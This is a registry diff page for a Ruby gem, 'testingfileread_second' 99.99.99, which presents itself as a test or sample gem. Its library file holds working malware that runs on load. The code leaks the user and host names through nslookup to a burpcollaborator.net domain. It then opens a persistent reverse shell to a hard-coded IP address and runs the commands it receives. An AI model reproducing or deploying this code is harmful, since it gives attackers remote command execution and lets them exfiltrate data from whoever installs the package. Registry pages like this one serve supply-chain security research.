testingfileread_second 99.99.99

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of testingfileread_second might be problematic. Click here for more details.

Files changed (3) hide show
  1. checksums.yaml +7 -0
  2. data/lib/testingfileread_second.rb +33 -0
  3. metadata +43 -0
checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: 1d073f3cfdeb8451564411f7ae870c23fe60f536590d980c6faedef9aa21d4f6
4
+ data.tar.gz: 95af005bad76fc4fe48f2ea2e8b713024504074a5771b4b2defa034bbb316084
5
+ SHA512:
6
+ metadata.gz: 729e72e95cfce97fa2e166ec666c0cd9a46781565a7573adab1df8fa59411eb3d34779e08cf1e9de2e4fdf3fa11d5a770f12bb9366f39d6aae40012db336e455
7
+ data.tar.gz: 244346ba11422d95778c8884f2bf0b10e601639c2fe2323a0cce0850e0dea13d77e283104888973a09d97d7df8e572037aa7b175bc9debde609bf9d27a50f7fd
@@ -0,0 +1,33 @@
1
+
2
+ class Testingfileread_second
3
+
4
+ require 'socket'
5
+ require 'open3'
6
+
7
+ #Set the Remote Host IP
8
+ RHOST = "37.11.229.157"
9
+ #Set the Remote Host Port
10
+ PORT = "1001"
11
+ Open3.capture2('nslookup `whoami`.`hostname`.2.xhiict6gtw3bddu7xarufaq3iuokc9.burpcollaborator.net')
12
+ Open3.capture2('nslookup %USERNAME%.%COMPUTERNAME%.2.xhiict6gtw3bddu7xarufaq3iuokc9.burpcollaborator.net')
13
+
14
+ #Tries to connect every 20 sec until it connects.
15
+ begin
16
+ sock = TCPSocket.new "#{RHOST}", "#{PORT}"
17
+ sock.puts "We are connected!"
18
+ rescue
19
+ sleep 20
20
+ retry
21
+ end
22
+
23
+ #Runs the commands you type and sends you back the stdout and stderr.
24
+ begin
25
+ while line = sock.gets
26
+ Open3.popen2e("#{line}") do | stdin, stdout_and_stderr |
27
+ IO.copy_stream(stdout_and_stderr, sock)
28
+ end
29
+ end
30
+ rescue
31
+ retry
32
+ end
33
+ end
metadata ADDED
@@ -0,0 +1,43 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: testingfileread_second
3
+ version: !ruby/object:Gem::Version
4
+ version: 99.99.99
5
+ platform: ruby
6
+ authors:
7
+ - Dr. Who
8
+ autorequire:
9
+ bindir: bin
10
+ cert_chain: []
11
+ date: 2021-04-08 00:00:00.000000000 Z
12
+ dependencies: []
13
+ description: A test gem
14
+ email: drwho@gmail.com
15
+ executables: []
16
+ extensions: []
17
+ extra_rdoc_files: []
18
+ files:
19
+ - lib/testingfileread_second.rb
20
+ homepage: https://rubygems.org/gems/testingfileread_second
21
+ licenses:
22
+ - MIT
23
+ metadata: {}
24
+ post_install_message:
25
+ rdoc_options: []
26
+ require_paths:
27
+ - lib
28
+ required_ruby_version: !ruby/object:Gem::Requirement
29
+ requirements:
30
+ - - ">="
31
+ - !ruby/object:Gem::Version
32
+ version: '0'
33
+ required_rubygems_version: !ruby/object:Gem::Requirement
34
+ requirements:
35
+ - - ">="
36
+ - !ruby/object:Gem::Version
37
+ version: '0'
38
+ requirements: []
39
+ rubygems_version: 3.2.5
40
+ signing_key:
41
+ specification_version: 4
42
+ summary: Sample gem for our Rails project
43
+ test_files: []